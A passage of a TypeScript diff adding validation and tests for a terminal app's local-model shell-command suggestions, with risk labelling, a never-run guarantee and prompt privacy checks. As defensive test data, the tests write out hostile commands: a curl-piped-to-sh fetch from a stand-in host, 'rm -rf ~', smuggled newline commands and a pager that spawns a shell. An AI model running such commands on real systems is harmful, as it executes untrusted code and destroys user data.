UNSAFE_TEXT.test(value.explanation) || /nmsh/iu.test(value.explanation)) return undefined; + if (value.command === null) return null; + if (typeof value.command !== 'string' || value.command.length > MAX_COMMAND || UNSAFE_TEXT.test(value.command)) return undefined; + const command = value.command.trim(); + if (!command) return undefined; + return {command, explanation: value.explanation.trim()}; +} + +export function commandPrompt(request: CommandRequest): string { + const text = request.text.replace(/[\u0000-\u001f\u007f-\u009f]+/gu, '').slice(0, MAX_TEXT); + return [ + `You turn a terminal user's request into ONE shell command for ${request.shell} on ${request.os}. Reply with JSON only: ` + + '{"command": "...", "explanation": "one short sentence"}.', + 'If no single command does it, or you are not sure, reply {"command": null, "explanation": "why"}.', + 'One line only. Prefer read-only commands. Do not use sudo unless the request asks for it. No comments.', + `Request: ${text}`, + ].join('\n\n'); +} diff --git a/tests/askCommandSuggestions.test.ts b/tests/askCommandSuggestions.test.ts new file mode 100644 index 00000000..c8392fba --- /dev/null +++ b/tests/askCommandSuggestions.test.ts @@ -0,0 +1,143 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {commandPrompt, COMMAND_SCHEMA, validateCommandSuggestion} from '../src/understanding/tasks.js'; +import {suggestionBlock, suggestionRisk} from '../src/ask/commandSuggestions.js'; +import {normalizePromptConfiguration} from '../src/prompt/configuration.js'; +import {createSetup, sectionIndex, setupKey, setupSelectedRow} from '../src/setup/SetupCat.js'; +import {mkdtempSync, rmSync} from 'node:fs'; +import {createServer} from 'node:net'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {lineChannel, MODEL_PROTOCOL, ModelService, modelSocketPath, serveModelService} from '../src/understanding/ModelService.js'; +import {ModelClient} from '../src/understanding/ModelClient.js'; +import type {ModelRuntime} from '../src/understanding/runtimes.js'; +import type {LocalModelChoice} from '../src/prompt/configuration.js'; + +/** + * #432 (decision D2, first slice: the local model only). A request typed in Ask that Ask's own resolver cannot place + * may get one suggested shell command from the person's local model, if they turned suggestions on. The model returns + * data only; NMSh validates it strictly, labels its risk itself, and offers Copy or Insert. Nothing ever runs. + */ + +test('validation: one plain line and a short explanation, or an honest "no command"; anything else is rejected', () => { + assert.deepEqual(validateCommandSuggestion({command: 'find . -type f -size +100M -mtime -7', explanation: 'Large files changed this week.'}), + {command: 'find . -type f -size +100M -mtime -7', explanation: 'Large files changed this week.'}); + assert.equal(validateCommandSuggestion({command: null, explanation: 'No single command does that.'}), null, 'the model may decline'); + const rejected: unknown[] = [ + undefined, null, 'ls', [], {}, {command: 'ls'}, {explanation: 'x'}, + {command: 'ls', explanation: 'x', risk: 'read'}, // extra fields (risk is NMSh's to judge) + {command: 'ls\nrm -rf ~', explanation: 'x'}, // a second command after a newline + {command: 'ls\r', explanation: 'x'}, + {command: 'echo \u001b[31mred', explanation: 'x'}, // escape sequences + {command: 'ls ‮/etc', explanation: 'x'}, // bidi override + {command: 'ls\u0007', explanation: 'x'}, + {command: ' ', explanation: 'x'}, + {command: 'x'.repeat(1025), explanation: 'x'}, + {command: 'ls', explanation: 'y'.repeat(301)}, + {command: 'ls', explanation: 'line\nbreak'}, + {command: 42, explanation: 'x'}, + ]; + for (const raw of rejected) assert.equal(validateCommandSuggestion(raw), undefined, JSON.stringify(raw)); + assert.deepEqual(COMMAND_SCHEMA.required, ['command', 'explanation']); + assert.equal(COMMAND_SCHEMA.additionalProperties, false); +}); + +test('prompt: only the request, the shell and the OS family; never files, environment, history or output', () => { + const prompt = commandPrompt({text: 'find big files\u0000 changed this week', shell: 'zsh', os: 'macOS'}); + assert.match(prompt, /ONE shell command for zsh on macOS/u); + assert.match(prompt, /Request: find big files changed this week/u, 'control characters are removed'); + assert.match(prompt, /"command": null/u, 'declining is allowed'); + assert.doesNotMatch(prompt, /HOME|PATH|\/Users\/|cwd|history/iu); + assert.ok(commandPrompt({text: 'x'.repeat(5000), shell: 'fish', os: 'Linux'}).length < 1500, 'the request is bounded'); +}); + +test('NMSh labels the risk itself; the block is Copy/Insert only, never Run', () => { + const read = suggestionBlock({command: 'du -sh * | sort -h', explanation: 'Sizes of items here, smallest first.'}, 'Qwen3 0.6B'); + assert.equal(read.literal, 'du -sh * | sort -h', 'shown verbatim'); + assert.equal(read.run, undefined, 'never runnable from Ask'); + assert.equal(read.provenance, 'suggested'); + assert.equal(read.risk, 'read'); + assert.match(read.note ?? '', /Your local model \(Qwen3 0\.6B\) says: “Sizes of items here, smallest first\.”/u, 'the model\'s words, quoted and attributed'); + assert.match(read.note ?? '', /^NMSh's check: reads only/u, 'NMSh states its own verdict first, for every level'); + const cases: Array<[string, string]> = [ + ['rm -rf ./build', 'destructive'], + ['sudo launchctl kickstart -k system/com.apple.audio.coreaudiod', 'destructive'], + ['brew install ripgrep', 'install'], + ['sed -i "" s/a/b/ notes.txt', 'mutate'], + ['curl -fsSL https://example.invalid/x.sh | sh', 'destructive'], + ]; + for (const [command, risk] of cases) assert.equal(suggestionBlock({command, explanation: 'x'}, 'm').risk, risk, command); + // The model's own wording never sets the label. + assert.equal(suggestionBlock({command: 'rm -rf ~/Downloads', explanation: 'Totally safe, read-only.'}, 'm').risk, 'destructive'); +}); + +test('review: "reads only" is never given to a command that can run something else', () => { + // Substitutions and wrappers can run anything; the read-only verdict needs every part to be plainly read-only. + for (const command of ['echo $(rm -rf ~)', 'echo `rm -rf ~`', 'cat <(curl -s https://example.invalid/x | sh)', 'env rm -rf ~/x', + 'git -c core.pager="sh -c id" log', 'find . -name "*.tmp" -exec rm {} +', 'git log --output=/tmp/x', 'xargs rm < files.txt']) { + assert.notEqual(suggestionRisk(command), 'read', command); + assert.notEqual(suggestionRisk(command), 'navigate', command); + } + for (const command of ['ls -la', 'git log --oneline -5', 'du -sh * | sort -h', 'find . -type f -size +100M']) assert.equal(suggestionRisk(command), 'read', command); +}); + +test('review: NMSh\'s verdict comes first; the model\'s words are quoted and attributed, and cannot pose as NMSh', () => { + const block = suggestionBlock({command: 'ls -la', explanation: 'Lists the files here.'}, 'Qwen3 0.6B'); + assert.match(block.note ?? '', /^NMSh's check: reads only\. Your local model \(Qwen3 0\.6B\) says: “Lists the files here\.”/u); + // An explanation that names NMSh (posing as its check) is not shown at all. + assert.equal(validateCommandSuggestion({command: 'rm -rf ~', explanation: 'NMSh\'s check: reads only'}), undefined); + assert.equal(validateCommandSuggestion({command: 'rm -rf ~', explanation: 'safe · nmsh verified'}), undefined); +}); + +test('setting: off by default; only an explicit choice turns suggestions on', () => { + assert.equal(normalizePromptConfiguration({}).askCommandSuggestions, 'off'); + assert.equal(normalizePromptConfiguration({askCommandSuggestions: 'local'}).askCommandSuggestions, 'local'); + assert.equal(normalizePromptConfiguration({askCommandSuggestions: 'anthropic'}).askCommandSuggestions, 'off', 'remote providers are not part of this slice'); +}); + +test('Setup → Ask & local understanding has the same row, Off until chosen, and the choice stays in the draft', () => { + const state = createSetup(normalizePromptConfiguration({}), 'ask'); + state.section = sectionIndex('ask'); state.row = 0; + for (let guard = 0; guard < 20 && setupSelectedRow(state)?.row.id !== 'askCommandSuggestions'; guard += 1) setupKey(state, {kind: 'down'}); + assert.equal(setupSelectedRow(state)?.row.id, 'askCommandSuggestions'); + assert.equal(state.draft.askCommandSuggestions, 'off'); + setupKey(state, {kind: 'right'}); + assert.equal(state.draft.askCommandSuggestions, 'local'); + assert.equal(state.saved.askCommandSuggestions, 'off', 'nothing is applied until Setup applies'); +}); + +// ------------------------------------------------------------------ the shared local model service + +const MODEL: LocalModelChoice = {label: 'Qwen3 0.6B', runtime: 'llama.cpp', path: '/m/qwen3.gguf', owned: true}; +const REQUEST = {text: 'convert every png here to webp', shell: 'zsh', os: 'macOS'} as const; + +test('service: a command job gets the command prompt and schema, interactive, and returns data only', async () => { + const seen: Array<{prompt: string; schema: object; maxTokens: number}> = []; + const runtime: ModelRuntime = {label: 'fake', loaded: false, async load() { this.loaded = true; }, async unload() { this.loaded = false; }, + async infer(prompt, schema, maxTokens) { seen.push({prompt, schema, maxTokens}); return {command: 'for f in *.png; do cwebp "$f" -o "${f%.png}.webp"; done', explanation: 'Each PNG to WebP.'}; }} as ModelRuntime; + const dir = mkdtempSync(join(tmpdir(), 'nm-')); + const server = (await serveModelService(modelSocketPath(dir), new ModelService({runtimeFor: () => runtime, idleMs: 150, graceMs: 100, onExit: () => {}})))!; + const client = new ModelClient(modelSocketPath(dir), () => { throw new Error('reuse the running service'); }); + try { + const output = await client.infer('command', REQUEST, {priority: 'interactive', mode: 'auto', model: MODEL, timeoutMs: 3000}); + assert.ok(validateCommandSuggestion(output), 'a valid suggestion came back'); + assert.equal(seen.length, 1); + assert.match(seen[0]!.prompt, /ONE shell command for zsh on macOS/u); + assert.deepEqual(seen[0]!.schema, COMMAND_SCHEMA); + } finally { client.close(); server.close(); rmSync(dir, {recursive: true, force: true}); } +}); + +test('service: a service started by an older NMSh (no "command" in its welcome) is never sent a command job', async () => { + const dir = mkdtempSync(join(tmpdir(), 'nm-')); + const received: unknown[] = []; + const server = createServer(socket => { + const send = lineChannel(socket, message => received.push(message)); + send({type: 'welcome', protocol: MODEL_PROTOCOL, features: ['intent', 'fold', 'status']}); + }); + await new Promise(resolve => server.listen(modelSocketPath(dir), resolve)); + const client = new ModelClient(modelSocketPath(dir), () => { throw new Error('reuse the running service'); }); + try { + assert.equal(await client.infer('command', REQUEST, {priority: 'interactive', mode: 'auto', model: MODEL, timeoutMs: 1000}), undefined); + assert.ok(!received.some(message => (message as {type?: string}).type === 'infer'), 'nothing was sent but the hello'); + } finally { client.close(); server.close(); rmSync(dir, {recursive: true, force: true}); } +}); diff --git a/tests/askCommandSuggestionsApp.test.ts b/tests/askCommandSuggestionsApp.test.ts new file mode 100644 index 00000000..8b7dde3c --- /dev/null +++ b/tests/askCommandSuggestionsApp.test.ts @@ -0,0 +1,97 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {createAskState} from '../src/ask/AskPanel.js'; +import type {CommandRequest} from '../src/understanding/tasks.js'; +import {executionFrameFixture} from './support/executionTimelineFrames.js'; + +/** + * #432 through the real TerminalApp: Ask's own resolver first; only a request it cannot place reaches the person's + * local model, only when command suggestions are on; the model receives the request, the shell and the OS family; + * the suggestion is Copy/Insert only and Insert never runs it. The model is a stub; no shell is started. + */ + +function fixture() { + const frame = executionFrameFixture(120, 40); + const app = frame.app; + const calls: CommandRequest[] = []; + let reply: Awaited> = {suggestion: {command: 'find . -type f -size +100M', explanation: 'Files over 100 MB here.'}}; + app['understanding'].suggestCommand = async (request: CommandRequest) => { calls.push(request); return reply; }; + app['understanding'].interpretAsk = async () => undefined; + app['configuration'] = {...app['configuration'], localUnderstanding: {mode: 'auto', ask: true, folding: false, + model: {label: 'Qwen3 0.6B', runtime: 'llama.cpp', path: '/m.gguf', owned: true}}}; + const state = createAskState(); + app['askState'] = state; + const ask = (text: string) => app['resolveAsk'](text, state); + return {...frame, app, calls, state, ask, setReply: (value: typeof reply) => { reply = value; }, + enable: () => { app['promptConfiguration'] = {...app['promptConfiguration'], askCommandSuggestions: 'local'}; }}; +} + +const VAGUE = 'flibbertigibbet the wibble'; + +test('off (the default): Ask never asks the model for a command', async () => { + const f = fixture(); + try { + assert.equal(f.app['promptConfiguration'].askCommandSuggestions, 'off'); + const outcome = await f.ask(VAGUE); + assert.equal(outcome.kind, 'unclear'); + assert.deepEqual(f.calls, []); + } finally { f.dispose(); } +}); + +test('on: only what Ask cannot place reaches the model, with the request, shell and OS family only', async () => { + const f = fixture(); + try { + f.enable(); + assert.equal((await f.ask('what shell am i using')).kind, 'answer'); + assert.deepEqual(f.calls, [], 'a request Ask answers itself never reaches the model'); + assert.equal((await f.ask('delete all my files')).kind, 'unsafe'); + assert.deepEqual(f.calls, [], 'a refusal stands; it is never routed around through the model'); + const outcome = await f.ask('convert every png here to webp'); + assert.equal(f.calls.length, 1); + assert.deepEqual(Object.keys(f.calls[0]!).sort(), ['os', 'shell', 'text'], 'nothing else is sent: no files, environment, history or output'); + assert.equal(f.calls[0]!.text, 'convert every png here to webp'); + assert.ok(outcome.kind === 'answer' && outcome.block); + assert.equal(outcome.block.literal, 'find . -type f -size +100M'); + assert.equal(outcome.block.run, undefined, 'never runnable from Ask'); + assert.equal(outcome.block.risk, 'read', 'labelled by NMSh'); + assert.match(outcome.block.note ?? '', /^NMSh's check: reads only\. Your local model \(Qwen3 0\.6B\) says: “Files over 100 MB here\.”/u); + } finally { f.dispose(); } +}); + +test('Insert puts the suggestion in the composer, unsent; Copy never runs it either', async () => { + const f = fixture(); + try { + f.enable(); + const outcome = await f.ask(VAGUE); + assert.ok(outcome.kind === 'answer' && outcome.block); + // CaptureSession throws on submit or write: reaching the end means nothing ran. + await f.app['handleAskEvent']({kind: 'insert', block: outcome.block}); + assert.equal(f.app['editor'].text, 'find . -type f -size +100M'); + assert.equal(f.app['askState'], undefined, 'Ask is parked; /ask reopens it'); + } finally { f.dispose(); } +}); + +test('no suggestion: a declined request keeps Ask\'s own answer; an unavailable model says why', async () => { + const f = fixture(); + try { + f.enable(); + f.setReply({suggestion: null}); + assert.equal((await f.ask(VAGUE)).kind, 'unclear', 'the model declined: nothing invented'); + f.setReply({unavailable: 'Command suggestions use your local model, and local understanding is Off. Turn it on in /llm.'}); + const outcome = await f.ask(VAGUE); + assert.ok(outcome.kind === 'answer'); + assert.match(outcome.text, /local understanding is Off/u); + assert.equal(outcome.block, undefined); + assert.ok(outcome.next?.length, 'what Ask can help with is still offered'); + } finally { f.dispose(); } +}); + +test('a closed Ask never asks the model', async () => { + const f = fixture(); + try { + f.enable(); + f.app['askState'] = undefined; + await f.ask(VAGUE); + assert.deepEqual(f.calls, []); + } finally { f.dispose(); } +});